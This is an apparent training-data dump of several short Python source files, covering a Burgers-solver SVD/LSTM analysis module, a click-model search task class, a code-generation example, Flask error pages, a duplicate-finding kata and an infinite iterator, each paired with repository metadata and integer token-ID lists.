2917, 29918, 842, 29918, 15581, 353, 5852, 13, 13, 13, 1753, 679, 29918, 4381, 29918, 4836, 29918, 2917, 7295, 13, 1678, 736, 903, 4381, 29918, 4836, 29918, 2917, 13, 13, 13, 1753, 731, 29918, 4836, 29918, 6207, 29918, 5338, 29898, 6207, 29918, 5338, 29901, 3992, 1125, 13, 1678, 10377, 29918, 637, 353, 5835, 29918, 5338, 29889, 5451, 877, 29901, 1495, 13, 1678, 903, 4381, 29918, 4836, 29918, 2917, 29889, 842, 29918, 6207, 29918, 666, 29898, 666, 29918, 637, 29961, 29900, 2314, 13, 1678, 903, 4381, 29918, 4836, 29918, 2917, 29889, 842, 29918, 6207, 29918, 637, 29898, 666, 29918, 637, 29961, 29896, 2314, 13, 13, 13, 1753, 443, 842, 29918, 4836, 29918, 2917, 7295, 13, 1678, 5534, 903, 4381, 29918, 4836, 29918, 2917, 29918, 842, 29918, 15581, 29892, 903, 4381, 29918, 4836, 29918, 2917, 13, 1678, 903, 4381, 29918, 4836, 29918, 2917, 353, 8010, 3991, 580, 13, 1678, 903, 4381, 29918, 4836, 29918, 2917, 29918, 842, 29918, 15581, 353, 7700, 13, 13, 13, 29918, 4381, 29918, 4836, 29918, 14273, 29901, 8010, 19617, 353, 6213, 13, 13, 13, 1753, 2060, 29918, 8216, 13539, 7653, 19617, 29901, 13, 1678, 736, 903, 4381, 29918, 4836, 29918, 14273, 13, 13, 13, 1753, 731, 29918, 4836, 29918, 2084, 29898, 2084, 1125, 13, 1678, 5534, 903, 4381, 29918, 4836, 29918, 14273, 13, 1678, 731, 29918, 4836, 29918, 2917, 29918, 1445, 29898, 359, 29889, 2084, 29889, 7122, 29898, 2084, 29892, 525, 4836, 29889, 25162, 8785, 13, 1678, 903, 4381, 29918, 4836, 29918, 14273, 353, 679, 29918, 4836, 29918, 8216, 29918, 3166, 29898, 2084, 29897, 13, 1678, 903, 4381, 29918, 4836, 29918, 14273, 29889, 4836, 29918, 2917, 353, 903, 4381, 29918, 4836, 29918, 2917, 13, 2 ]
build/python_module.py
Romit-Maulik/CBurgers
5
26903
print("From python: Within python module") import os,sys HERE = os.getcwd() sys.path.insert(0,HERE) import numpy as np import tensorflow as tf import matplotlib.pyplot as plt data_array = np.zeros(shape=(2001,258)) # Very important that this matches the number of timesteps in the main solver x = np.arange(start=0,stop=2.0*np.pi,step=2.0*np.pi/256) iternum = 0 def collection_func(input_array): global data_array,iternum data_array[iternum,:] = input_array[:] iternum+=1 return None def analyses_func(): global data_array, x plt.figure() for i in range(0,np.shape(data_array)[0],400): plt.plot(x,data_array[i,1:-1],label='Timestep '+str(i)) plt.legend() plt.xlabel('x') plt.xlabel('u') plt.title('Field evolution') plt.savefig('Field_evolution.png') plt.close() # Perform an SVD data_array = data_array[:,1:-1] print('Performing SVD') u,s,v = np.linalg.svd(data_array,full_matrices=False) # Plot SVD eigenvectors plt.figure() plt.plot(x, v[0,:],label='Mode 0') plt.plot(x, v[1,:],label='Mode 1') plt.plot(x, v[2,:],label='Mode 2') plt.legend() plt.title('SVD Eigenvectors') plt.xlabel('x') plt.xlabel('u') plt.savefig('SVD_Eigenvectors.png') plt.close() np.save('eigenvectors.npy',v[0:3,:].T) # Train an LSTM on the coefficients of the eigenvectors time_series = np.matmul(v[0:3,:],data_array.T).T num_timesteps = np.shape(time_series)[0] train_series = time_series[:num_timesteps//2] test_series = time_series[num_timesteps//2:] # import the LSTM architecture and initialize from ml_module import standard_lstm ml_model = standard_lstm(train_series) # Train the model ml_model.train_model() # Restore best weights and perform an inference print('Performing inference on testing data') ml_model.model_inference(test_series) return_data = v[0:3,:].T return return_data if __name__ == '__main__': pass
[ 1, 1596, 703, 4591, 3017, 29901, 23732, 3017, 3883, 1159, 13, 13, 5215, 2897, 29892, 9675, 13, 5006, 353, 2897, 29889, 657, 29883, 9970, 580, 13, 9675, 29889, 2084, 29889, 7851, 29898, 29900, 29892, 5006, 29897, 13, 13, 5215, 12655, 408, 7442, 13, 5215, 26110, 408, 15886, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 13, 1272, 29918, 2378, 353, 7442, 29889, 3298, 359, 29898, 12181, 7607, 29906, 29900, 29900, 29896, 29892, 29906, 29945, 29947, 876, 396, 18064, 4100, 393, 445, 7087, 278, 1353, 310, 5335, 4196, 567, 297, 278, 1667, 899, 369, 13, 29916, 353, 7442, 29889, 279, 927, 29898, 2962, 29922, 29900, 29892, 9847, 29922, 29906, 29889, 29900, 29930, 9302, 29889, 1631, 29892, 10568, 29922, 29906, 29889, 29900, 29930, 9302, 29889, 1631, 29914, 29906, 29945, 29953, 29897, 13, 277, 824, 398, 353, 29871, 29900, 13, 13, 1753, 4333, 29918, 9891, 29898, 2080, 29918, 2378, 1125, 13, 1678, 5534, 848, 29918, 2378, 29892, 277, 824, 398, 13, 1678, 848, 29918, 2378, 29961, 277, 824, 398, 29892, 17531, 353, 1881, 29918, 2378, 7503, 29962, 13, 1678, 372, 824, 398, 23661, 29896, 13, 13, 1678, 736, 6213, 13, 13, 1753, 3483, 952, 267, 29918, 9891, 7295, 13, 13, 1678, 5534, 848, 29918, 2378, 29892, 921, 13, 268, 13, 1678, 14770, 29889, 4532, 580, 13, 1678, 363, 474, 297, 3464, 29898, 29900, 29892, 9302, 29889, 12181, 29898, 1272, 29918, 2378, 9601, 29900, 1402, 29946, 29900, 29900, 1125, 13, 4706, 14770, 29889, 5317, 29898, 29916, 29892, 1272, 29918, 2378, 29961, 29875, 29892, 29896, 13018, 29896, 1402, 1643, 2433, 13711, 342, 1022, 525, 29974, 710, 29898, 29875, 876, 13, 1678, 14770, 29889, 26172, 580, 13, 1678, 14770, 29889, 29916, 1643, 877, 29916, 1495, 13, 1678, 14770, 29889, 29916, 1643, 877, 29884, 1495, 13, 1678, 14770, 29889, 3257, 877, 3073, 14675, 1495, 13, 1678, 14770, 29889, 7620, 1003, 877, 3073, 29918, 29872, 4068, 29889, 2732, 1495, 13, 1678, 14770, 29889, 5358, 580, 13, 13, 1678, 396, 27313, 385, 317, 10699, 13, 1678, 848, 29918, 2378, 353, 848, 29918, 2378, 7503, 29892, 29896, 13018, 29896, 29962, 13, 1678, 1596, 877, 5894, 689, 292, 317, 10699, 1495, 13, 1678, 318, 29892, 29879, 29892, 29894, 353, 7442, 29889, 29880, 979, 29887, 29889, 4501, 29881, 29898, 1272, 29918, 2378, 29892, 8159, 29918, 2922, 11669, 29922, 8824, 29897, 13, 13, 1678, 396, 18399, 317, 10699, 7388, 345, 14359, 13, 1678, 14770, 29889, 4532, 580, 13, 1678, 14770, 29889, 5317, 29898, 29916, 29892, 325, 29961, 29900, 29892, 29901, 1402, 1643, 2433, 6818, 29871, 29900, 1495, 13, 1678, 14770, 29889, 5317, 29898, 29916, 29892, 325, 29961, 29896, 29892, 29901, 1402, 1643, 2433, 6818, 29871, 29896, 1495, 13, 1678, 14770, 29889, 5317, 29898, 29916, 29892, 325, 29961, 29906, 29892, 29901, 1402, 1643, 2433, 6818, 29871, 29906, 1495, 13, 1678, 14770, 29889, 26172, 580, 13, 1678, 14770, 29889, 3257, 877, 7597, 29928, 382, 2101, 345, 14359, 1495, 13, 1678, 14770, 29889, 29916, 1643, 877, 29916, 1495, 13, 1678, 14770, 29889, 29916, 1643, 877, 29884, 1495, 13, 1678, 14770, 29889, 7620, 1003, 877, 7597, 29928, 29918, 29923, 2101, 345, 14359, 29889, 2732, 1495, 13, 1678, 14770, 29889, 5358, 580, 13, 13, 1678, 7442, 29889, 7620, 877, 29872, 2101, 345, 14359, 29889, 29876, 2272, 742, 29894, 29961, 29900, 29901, 29941, 29892, 29901, 1822, 29911, 29897, 13, 13, 1678, 396, 28186, 385, 365, 1254, 29924, 373, 278, 16127, 310, 278, 7388, 345, 14359, 13, 1678, 931, 29918, 13757, 353, 7442, 29889, 2922, 16109, 29898, 29894, 29961, 29900, 29901, 29941, 29892, 29901, 1402, 1272, 29918, 2378, 29889, 29911, 467, 29911, 13, 1678, 954, 29918, 9346, 4196, 567, 353, 7442, 29889, 12181, 29898, 2230, 29918, 13757, 9601, 29900, 29962, 13, 13, 1678, 7945, 29918, 13757, 353, 931, 29918, 13757, 7503, 1949, 29918, 9346, 4196, 567, 458, 29906, 29962, 13, 1678, 1243, 29918, 13757, 353, 931, 29918, 13757, 29961, 1949, 29918, 9346, 4196, 567, 458, 29906, 17531, 13, 13, 1678, 396, 1053, 278, 365, 1254, 29924, 11258, 322, 11905, 13, 1678, 515, 286, 29880, 29918, 5453, 1053, 3918, 29918, 20155, 29885, 13, 1678, 286, 29880, 29918, 4299, 353, 3918, 29918, 20155, 29885, 29898, 14968, 29918, 13757, 29897, 13, 1678, 396, 28186, 278, 1904, 13, 1678, 286, 29880, 29918, 4299, 29889, 14968, 29918, 4299, 580, 13, 1678, 396, 11654, 487, 1900, 18177, 322, 2189, 385, 27262, 13, 1678, 1596, 877, 5894, 689, 292, 27262, 373, 6724, 848, 1495, 13, 1678, 286, 29880, 29918, 4299, 29889, 4299, 29918, 262, 1659, 29898, 1688, 29918, 13757, 29897, 13, 13, 1678, 736, 29918, 1272, 353, 325, 29961, 29900, 29901, 29941, 29892, 29901, 1822, 29911, 13, 13, 1678, 736, 736, 29918, 1272, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1209, 2 ]
pyclick/click_models/task_centric/SearchTask.py
gaudel/ranking_bandits
3
78708
# # Copyright (C) 2015 <NAME> # # Full copyright notice can be found in LICENSE. # from collections import OrderedDict __author__ = '<NAME>' class SearchTask(object): """A search task consisting of multiple search sessions.""" def __init__(self, task): self._task = task self.search_sessions = [] def __str__(self): return "%s:%r" % (self._task, [search_session.query for search_session in self.search_sessions]) def __repr__(self): return str(self) @staticmethod def get_search_tasks(search_sessions): """ Groups search sessions by task and returns the list of all tasks. :param search_sessions: Task-centric search sessions. :returns: The list of tasks. """ search_tasks = OrderedDict() for search_session in search_sessions: if search_session.task not in search_tasks: search_tasks[search_session.task] = SearchTask(search_session.task) search_tasks[search_session.task].search_sessions.append(search_session) return search_tasks.values()
[ 1, 396, 13, 29937, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29896, 29945, 29871, 529, 5813, 29958, 13, 29937, 13, 29937, 14846, 3509, 1266, 8369, 508, 367, 1476, 297, 365, 2965, 1430, 1660, 29889, 13, 29937, 13, 3166, 16250, 1053, 8170, 287, 21533, 13, 13, 1649, 8921, 1649, 353, 12801, 5813, 16299, 13, 13, 13, 1990, 11856, 5398, 29898, 3318, 1125, 13, 1678, 9995, 29909, 2740, 3414, 19849, 310, 2999, 2740, 21396, 1213, 15945, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3414, 1125, 13, 4706, 1583, 3032, 7662, 353, 3414, 13, 4706, 1583, 29889, 4478, 29918, 29879, 10964, 353, 5159, 13, 13, 1678, 822, 4770, 710, 12035, 1311, 1125, 13, 4706, 736, 11860, 29879, 16664, 29878, 29908, 1273, 313, 1311, 3032, 7662, 29892, 518, 4478, 29918, 7924, 29889, 1972, 363, 2740, 29918, 7924, 297, 1583, 29889, 4478, 29918, 29879, 10964, 2314, 13, 13, 1678, 822, 4770, 276, 558, 12035, 1311, 1125, 13, 4706, 736, 851, 29898, 1311, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 679, 29918, 4478, 29918, 20673, 29898, 4478, 29918, 29879, 10964, 1125, 13, 4706, 9995, 13, 4706, 1632, 4410, 2740, 21396, 491, 3414, 322, 3639, 278, 1051, 310, 599, 9595, 29889, 13, 13, 4706, 584, 3207, 2740, 29918, 29879, 10964, 29901, 9330, 29899, 1760, 2200, 2740, 21396, 29889, 13, 4706, 584, 18280, 29901, 450, 1051, 310, 9595, 29889, 13, 4706, 9995, 13, 4706, 2740, 29918, 20673, 353, 8170, 287, 21533, 580, 13, 13, 4706, 363, 2740, 29918, 7924, 297, 2740, 29918, 29879, 10964, 29901, 13, 9651, 565, 2740, 29918, 7924, 29889, 7662, 451, 297, 2740, 29918, 20673, 29901, 13, 18884, 2740, 29918, 20673, 29961, 4478, 29918, 7924, 29889, 7662, 29962, 353, 11856, 5398, 29898, 4478, 29918, 7924, 29889, 7662, 29897, 13, 13, 9651, 2740, 29918, 20673, 29961, 4478, 29918, 7924, 29889, 7662, 1822, 4478, 29918, 29879, 10964, 29889, 4397, 29898, 4478, 29918, 7924, 29897, 13, 13, 4706, 736, 2740, 29918, 20673, 29889, 5975, 580, 13, 2 ]
example/generate.py
kohjaen/kojen
3
64821
<filename>example/generate.py #!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'eugene' ''' MIT License Copyright (c) 2015 <NAME> (email : <EMAIL>) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' import kojen.Generate as Generate import os author = "<EMAIL>" group = "GROUP_EXAMPLE" brief = "An example demonstrating code-generation abilities." # # Generate Protocol # namespacename = "ExampleIO" classname = "CExampleIF" declspec = "" outputdir = os.path.join(os.path.abspath(os.path.dirname(__file__)), "autogen") templatedir = "" # defaults protocolfile = os.path.join(os.path.abspath(os.path.dirname(__file__)), "example_protocol.py") Generate.Protocol(outputdir, protocolfile, namespacename, classname, declspec, author, group, brief) # # Generate Statemachine (from TransitionTable ... to do it directly from a model, please write to <EMAIL>) # namespacename = "CDPlayerSM" statemachinenameprefix = "CDPlayer" declspec = "" templatedir = "" # defaults are for 'SML' from kojen.interface_base import * EventPlay = Struct('EventPlay') EventPlay.AddType('m_track_no','uint16_t') eventsinterface = Interface('IMyIntefaceIO') eventsinterface.AddStruct(EventPlay) transition_table = [] # StartState Event NextState Action Guard transition_table.append(['StateStop', 'EventOpen', 'StateOpen', 'OnOpenDrive', 'None']) transition_table.append(['StateStop', 'EventPlay', 'StatePlay', 'OnPlayTrack', 'GuardCDInside']) transition_table.append(['StateOpen', 'EventOpen', 'StateStop', 'OnCloseDrive', 'None']) transition_table.append(['StatePlay', 'EventPlay', 'StatePause', 'OnPause', 'None']) transition_table.append(['StatePlay', 'EventEndOfTrack', 'None', 'OnPlayNextTrack', 'GuardCDHasMoreTracks']) transition_table.append(['StatePlay', 'EventEndOfTrack', 'StateStop', 'OnStop', 'GuardCDHasNoMoreTracks']) transition_table.append(['StatePlay', 'EventSkipNextTrack', 'None', 'OnPlayNextTrack', 'GuardCDHasMoreTracks']) transition_table.append(['StatePlay', 'EventSkipPreviousTrack', 'None', 'OnPlayPreviousTrack', 'GuardCDHasPreviousTrack']) transition_table.append(['StatePlay', 'EventStop', 'StateStop', 'OnStop', 'None']) transition_table.append(['StatePause', 'EventPlay', 'StatePlay', 'OnPlayTrack', 'None']) transition_table.append(['StatePause', 'EventAfter10Minutes', 'StateStop', 'OnStop', 'None']) Generate.StateMachine(outputdir, transition_table, eventsinterface, namespacename, statemachinenameprefix, declspec, author, group, brief, templatedir) # # UML (C++/C# ... to do it directly from a model, please write to <EMAIL>) #
[ 1, 529, 9507, 29958, 4773, 29914, 17158, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 1649, 8921, 1649, 353, 525, 29872, 688, 1600, 29915, 13, 12008, 13, 13, 1678, 341, 1806, 19245, 13, 13, 1678, 14187, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29945, 529, 5813, 29958, 313, 5269, 584, 529, 26862, 6227, 12948, 13, 13, 1678, 20894, 2333, 338, 1244, 1609, 16896, 29892, 3889, 310, 8323, 29892, 304, 738, 2022, 4017, 292, 263, 3509, 13, 1678, 310, 445, 7047, 322, 6942, 5106, 2066, 313, 1552, 376, 6295, 14093, 4968, 304, 5376, 13, 1678, 297, 278, 18540, 1728, 24345, 29892, 3704, 1728, 29485, 278, 10462, 13, 1678, 304, 671, 29892, 3509, 29892, 6623, 29892, 10366, 29892, 9805, 29892, 1320, 2666, 29892, 269, 803, 1947, 29892, 322, 29914, 272, 19417, 13, 1678, 14591, 310, 278, 18540, 29892, 322, 304, 14257, 12407, 304, 6029, 278, 18540, 338, 13, 1678, 15252, 3276, 304, 437, 577, 29892, 4967, 304, 278, 1494, 5855, 29901, 13, 13, 1678, 450, 2038, 3509, 1266, 8369, 322, 445, 10751, 8369, 4091, 367, 5134, 297, 599, 13, 1678, 14591, 470, 23228, 2011, 1080, 310, 278, 18540, 29889, 13, 13, 1678, 6093, 7791, 7818, 12982, 1525, 8519, 13756, 13044, 3352, 376, 3289, 8519, 613, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29979, 8079, 13764, 29979, 476, 22255, 29892, 8528, 15094, 1799, 6323, 13, 1678, 306, 3580, 5265, 3352, 29892, 2672, 6154, 15789, 4214, 350, 2692, 6058, 27848, 3352, 7495, 6093, 399, 1718, 29934, 13566, 29059, 8079, 341, 1001, 3210, 13566, 2882, 6227, 11937, 29892, 13, 1678, 383, 1806, 8186, 1799, 15842, 319, 349, 8322, 2965, 13309, 1718, 349, 4574, 13152, 1660, 5300, 405, 1164, 1177, 15860, 1177, 1692, 13780, 29889, 2672, 11698, 382, 29963, 3919, 24972, 9818, 6093, 13, 1678, 26524, 29950, 24125, 6323, 315, 4590, 29979, 22789, 3912, 379, 5607, 8032, 29903, 20700, 17705, 6181, 15842, 13764, 29979, 315, 4375, 7833, 29892, 21330, 1529, 1692, 29903, 6323, 438, 29911, 4448, 13, 1678, 17705, 2882, 6227, 11937, 29892, 12317, 2544, 4448, 2672, 13764, 319, 9838, 8079, 8707, 29911, 4717, 1783, 29892, 323, 8476, 6323, 438, 29911, 4448, 22119, 1660, 29892, 9033, 3235, 4214, 3895, 29892, 13, 1678, 19474, 8079, 6323, 2672, 8707, 8186, 9838, 22659, 6093, 7791, 7818, 12982, 1525, 6323, 6093, 501, 1660, 6323, 438, 29911, 4448, 5012, 1964, 4214, 29903, 2672, 6093, 13, 1678, 7791, 7818, 12982, 1525, 29889, 13, 13, 12008, 13, 13, 5215, 413, 3848, 264, 29889, 5631, 403, 408, 3251, 403, 13, 5215, 2897, 13, 13, 8921, 353, 9872, 26862, 6227, 11903, 13, 2972, 29871, 353, 376, 26284, 29918, 5746, 19297, 1307, 29908, 13, 1182, 2575, 29871, 353, 376, 2744, 1342, 9004, 1218, 775, 29899, 4738, 362, 633, 9770, 1213, 13, 29937, 13, 29937, 3251, 403, 1019, 5770, 13, 29937, 13, 7039, 29886, 562, 3871, 353, 376, 14023, 5971, 29908, 13, 1990, 978, 353, 376, 29907, 14023, 6545, 29908, 13, 27787, 6550, 353, 5124, 13, 4905, 3972, 353, 2897, 29889, 2084, 29889, 7122, 29898, 359, 29889, 2084, 29889, 370, 1028, 493, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 8243, 376, 1300, 6352, 1159, 13, 1356, 572, 630, 381, 353, 5124, 396, 21274, 13, 20464, 1445, 353, 2897, 29889, 2084, 29889, 7122, 29898, 359, 29889, 2084, 29889, 370, 1028, 493, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 8243, 376, 4773, 29918, 20464, 29889, 2272, 1159, 13, 5631, 403, 29889, 17830, 29898, 4905, 3972, 29892, 9608, 1445, 29892, 2983, 29886, 562, 3871, 29892, 770, 978, 29892, 4845, 6550, 29892, 4148, 29892, 2318, 29892, 11473, 29897, 13, 13, 29937, 13, 29937, 3251, 403, 6666, 331, 2945, 313, 3166, 4103, 654, 3562, 2023, 304, 437, 372, 4153, 515, 263, 1904, 29892, 3113, 2436, 304, 529, 26862, 6227, 12948, 13, 29937, 13, 7039, 29886, 562, 3871, 353, 376, 6530, 9075, 17061, 29908, 13, 6112, 331, 496, 262, 3871, 13506, 353, 376, 6530, 9075, 29908, 13, 27787, 6550, 353, 5124, 13, 1356, 572, 630, 381, 353, 5124, 396, 21274, 526, 363, 525, 29903, 1988, 29915, 13, 13, 3166, 413, 3848, 264, 29889, 13248, 29918, 3188, 1053, 334, 13, 2624, 13454, 353, 28771, 877, 2624, 13454, 1495, 13, 2624, 13454, 29889, 2528, 1542, 877, 29885, 29918, 11294, 29918, 1217, 3788, 13470, 29896, 29953, 29918, 29873, 1495, 13, 13, 13604, 13248, 353, 25796, 877, 29902, 3421, 797, 371, 2161, 5971, 1495, 13, 13604, 13248, 29889, 2528, 19560, 29898, 2624, 13454, 29897, 13, 13, 20543, 29918, 2371, 353, 5159, 13, 29937, 18884, 12, 12, 29871, 7370, 2792, 1678, 6864, 12, 12, 12, 308, 8084, 2792, 12, 1678, 9123, 12, 12, 965, 13211, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 16329, 742, 29871, 525, 2624, 6585, 742, 29871, 12, 12, 12, 525, 2792, 6585, 742, 29871, 525, 2951, 6585, 29928, 4401, 742, 29871, 12, 12, 259, 525, 8516, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 16329, 742, 29871, 525, 2624, 13454, 742, 29871, 12, 12, 12, 525, 2792, 13454, 742, 29871, 525, 2951, 13454, 17936, 742, 29871, 12, 12, 259, 525, 9485, 538, 6530, 797, 2975, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 6585, 742, 29871, 525, 2624, 6585, 742, 29871, 12, 12, 12, 525, 2792, 16329, 742, 29871, 525, 2951, 11123, 29928, 4401, 742, 29871, 12, 12, 259, 525, 8516, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 13454, 742, 29871, 525, 2624, 13454, 742, 29871, 12, 12, 12, 525, 2792, 29925, 1071, 742, 525, 2951, 29925, 1071, 742, 418, 12, 12, 259, 525, 8516, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 13454, 742, 29871, 525, 2624, 5044, 2776, 17936, 742, 29871, 12, 12, 525, 8516, 742, 29871, 12, 259, 525, 2951, 13454, 9190, 17936, 742, 29871, 12, 259, 525, 9485, 538, 6530, 14510, 20761, 5323, 4684, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 13454, 742, 29871, 525, 2624, 5044, 2776, 17936, 742, 29871, 12, 12, 525, 2792, 16329, 742, 29871, 525, 2951, 16329, 742, 29871, 12, 12, 12, 259, 525, 9485, 538, 6530, 14510, 3782, 20761, 5323, 4684, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 13454, 742, 29871, 525, 2624, 15797, 666, 9190, 17936, 742, 29871, 12, 525, 8516, 742, 29871, 12, 259, 525, 2951, 13454, 9190, 17936, 742, 29871, 12, 259, 525, 9485, 538, 6530, 14510, 20761, 5323, 4684, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 13454, 742, 29871, 525, 2624, 15797, 666, 6572, 2366, 17936, 742, 525, 8516, 742, 29871, 12, 259, 525, 2951, 13454, 6572, 2366, 17936, 742, 29871, 525, 9485, 538, 6530, 14510, 6572, 2366, 17936, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 13454, 742, 29871, 525, 2624, 16329, 742, 29871, 12, 12, 12, 525, 2792, 16329, 742, 29871, 525, 2951, 16329, 742, 29871, 12, 12, 12, 259, 525, 8516, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 29925, 1071, 742, 525, 2624, 13454, 742, 29871, 12, 12, 12, 525, 2792, 13454, 742, 29871, 525, 2951, 13454, 17936, 742, 29871, 12, 12, 259, 525, 8516, 11287, 13, 20543, 29918, 2371, 29889, 4397, 18959, 2792, 29925, 1071, 742, 525, 2624, 13555, 29896, 29900, 8140, 2667, 742, 29871, 12, 525, 2792, 16329, 742, 29871, 525, 2951, 16329, 742, 29871, 12, 12, 12, 259, 525, 8516, 11287, 13, 13, 5631, 403, 29889, 2792, 29076, 29898, 4905, 3972, 29892, 9558, 29918, 2371, 29892, 4959, 13248, 29892, 2983, 29886, 562, 3871, 29892, 1002, 331, 496, 262, 3871, 13506, 29892, 4845, 6550, 29892, 4148, 29892, 2318, 29892, 11473, 29892, 1350, 572, 630, 381, 29897, 13, 13, 29937, 13, 29937, 501, 1988, 313, 29907, 1817, 29914, 29907, 29937, 2023, 304, 437, 372, 4153, 515, 263, 1904, 29892, 3113, 2436, 304, 529, 26862, 6227, 12948, 13, 29937, 2 ]
Droit/views/errors.py
Halleloya/DBAC
0
76828
<filename>Droit/views/errors.py """ Define the error pages for the project """ from flask import render_template def register_error_page(app): @app.errorhandler(404) def page_not_found(e): # note that we set the 404 status explicitly return render_template('/errors/404.html', description = e), 404 @app.errorhandler(401) def unauthorized (e): return render_template('/errors/401.html', description = e), 401
[ 1, 529, 9507, 29958, 29928, 15164, 29914, 7406, 29914, 12523, 29889, 2272, 13, 15945, 29908, 13, 3206, 457, 278, 1059, 6515, 363, 278, 2060, 13, 15945, 29908, 13, 13, 3166, 29784, 1053, 4050, 29918, 6886, 13, 13, 1753, 6036, 29918, 2704, 29918, 3488, 29898, 932, 1125, 13, 1678, 732, 932, 29889, 2704, 13789, 29898, 29946, 29900, 29946, 29897, 13, 1678, 822, 1813, 29918, 1333, 29918, 11940, 29898, 29872, 1125, 13, 4706, 396, 4443, 393, 591, 731, 278, 29871, 29946, 29900, 29946, 4660, 9479, 13, 4706, 736, 4050, 29918, 6886, 11219, 12523, 29914, 29946, 29900, 29946, 29889, 1420, 742, 6139, 353, 321, 511, 29871, 29946, 29900, 29946, 13, 13, 13, 1678, 732, 932, 29889, 2704, 13789, 29898, 29946, 29900, 29896, 29897, 13, 1678, 822, 1185, 329, 2015, 1891, 313, 29872, 1125, 13, 4706, 736, 4050, 29918, 6886, 11219, 12523, 29914, 29946, 29900, 29896, 29889, 1420, 742, 6139, 353, 321, 511, 29871, 29946, 29900, 29896, 13, 2 ]
find_duplicate_7kyu/find_the_duplicate.py
philipwerner/code-katas
0
24258
<reponame>philipwerner/code-katas """Kata: Find the Duplicated Number in a Consecutive Unsorted List - Finds and returns the duplicated number from the list #1 Best Practices Solution by SquishyStrawberry def find_dup(arr): return (i for i in arr if arr.count(i) > 1).next() """ def find_dup(arr): """This will find the duplicated int in the list""" dup = set([x for x in arr if arr.count(x) > 1]) answer = list(dup) return answer[0]
[ 1, 529, 276, 1112, 420, 29958, 561, 309, 666, 556, 1089, 29914, 401, 29899, 29895, 271, 294, 13, 15945, 29908, 29968, 532, 29901, 10987, 278, 18733, 9169, 9681, 297, 263, 1281, 3471, 11067, 853, 24582, 2391, 29871, 448, 10987, 29879, 322, 3639, 13, 1552, 5141, 9169, 1353, 515, 278, 1051, 13, 29937, 29896, 6407, 29124, 1575, 24380, 491, 317, 339, 728, 29891, 855, 1610, 16344, 13, 13, 1753, 1284, 29918, 20908, 29898, 2749, 1125, 13, 1678, 736, 313, 29875, 363, 474, 297, 3948, 565, 3948, 29889, 2798, 29898, 29875, 29897, 1405, 29871, 29896, 467, 4622, 580, 13, 15945, 29908, 13, 13, 13, 1753, 1284, 29918, 20908, 29898, 2749, 1125, 13, 1678, 9995, 4013, 674, 1284, 278, 5141, 9169, 938, 297, 278, 1051, 15945, 29908, 13, 1678, 5141, 353, 731, 4197, 29916, 363, 921, 297, 3948, 565, 3948, 29889, 2798, 29898, 29916, 29897, 1405, 29871, 29896, 2314, 13, 1678, 1234, 353, 1051, 29898, 20908, 29897, 13, 1678, 736, 1234, 29961, 29900, 29962, 13, 2 ]
infinite_iterator.py
ysharma1126/ssl_identifiability
19
198664
from typing import Iterable class InfiniteIterator: """Infinitely repeat the iterable.""" def __init__(self, iterable: Iterable): self._iterable = iterable self.iterator = iter(self._iterable) def __iter__(self): return self def __next__(self): for _ in range(2): try: return next(self.iterator) except StopIteration: # reset iterator del self.iterator self.iterator = iter(self._iterable)
[ 1, 515, 19229, 1053, 20504, 519, 13, 13, 13, 1990, 512, 18925, 20277, 29901, 13, 1678, 9995, 25433, 18639, 12312, 278, 4256, 519, 1213, 15945, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 4256, 519, 29901, 20504, 519, 1125, 13, 4706, 1583, 3032, 1524, 519, 353, 4256, 519, 13, 4706, 1583, 29889, 17609, 353, 4256, 29898, 1311, 3032, 1524, 519, 29897, 13, 13, 1678, 822, 4770, 1524, 12035, 1311, 1125, 13, 4706, 736, 1583, 13, 13, 1678, 822, 4770, 4622, 12035, 1311, 1125, 13, 4706, 363, 903, 297, 3464, 29898, 29906, 1125, 13, 9651, 1018, 29901, 13, 18884, 736, 2446, 29898, 1311, 29889, 17609, 29897, 13, 9651, 5174, 22303, 13463, 362, 29901, 13, 18884, 396, 10092, 20380, 13, 18884, 628, 1583, 29889, 17609, 13, 18884, 1583, 29889, 17609, 353, 4256, 29898, 1311, 3032, 1524, 519, 29897, 2 ]
Masters/Copy Layer to Layer.py
davidtahim/Glyphs-Scripts
1
3982
